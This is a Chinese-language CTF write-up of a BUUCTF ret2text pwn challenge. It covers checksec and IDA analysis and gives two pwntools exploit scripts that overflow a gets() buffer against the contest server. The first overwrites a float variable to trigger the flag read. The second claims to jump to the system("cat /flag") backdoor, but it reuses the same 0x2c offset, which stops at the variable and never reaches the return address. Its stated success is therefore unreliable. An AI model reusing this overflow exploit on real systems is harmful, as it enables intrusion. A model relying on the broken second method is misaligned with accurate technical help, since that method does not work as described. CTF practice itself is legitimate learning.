目录
一、基本思路
1.checksec一下
NX不可执行,其余保护没有开启,shellcode方法不可用,不过没关系,这个题考点不在这里
2. ida分析一下
虽然我们的main函数平平无奇,但是func函数可不得了system("cat/flag")后门都给你了,甚至还有个gets函数,想办法利用得了,我们的思路来到ret2text上面
二、构造exp
1.方法一
a.获取v2的值
法一我们根据程序的逻辑来,将v2的值修改为判定条件的值,执行cat flag指令,双击v1,v2我们可以发现给参数分配的空间中v1占了0x30-0x04大小的内容,即我们需要这么多的字符将v1填满才能输入v2,而11.28125转化为十六进制为0x41348000(这里有个骚操作,看下图)
首先找到func函数的汇编页,我们看到ucomiss指令(这就是判定v2==11.28125的那一条)我们将鼠标放在dword_4007F4上面就可以看到11.28125对应的大小
或者双击dword_4007F4,进入以下页面
b.exp代码展示
#!/usr/bin/python3 ##这个是我使用虚拟机里面python的地址,大家自行调整
from pwn import*
v2=0x41348000
payload=b'A'*(0x30-0x04)+p64(v2)
io=remote('node5.buuoj.cn',端口)
io.sendline(payload)
io.interactive()
c.运行结果
当然是直接返回了flag,并没有获取靶机shell权限
2.方法二
a.获取system("cat/flag")的地址
其实还是在这一页,text目录里面,我们的汇编指令的地址,system_addr=0x4006BE,这个时候我们的payload就构建为溢出v1,然后在v2执行system指令
b.exp代码展示
#!/usr/bin/python3 ##这个是我使用虚拟机里面python的地址,大家自行调整
from pwn import*
system_addr=0x4006BE
payload=b'A'*(0x30-0x04)+p64(system_addr)
io=remote('node5.buuoj.cn',端口)
io.sendline(payload)
io.interactive()
c.运行结果
同样是直接返回了flag
三、小结一下
目前的题目难度仍然停留在栈溢出ret2text阶段,本题的两种方法也提示了我们,题目的答案往往藏在题目里面,需要我们多分析题目来找到解题办法,尽管实战环境下没有这么好的条件,但作为初学阶段来说,我还需要多加练习体会。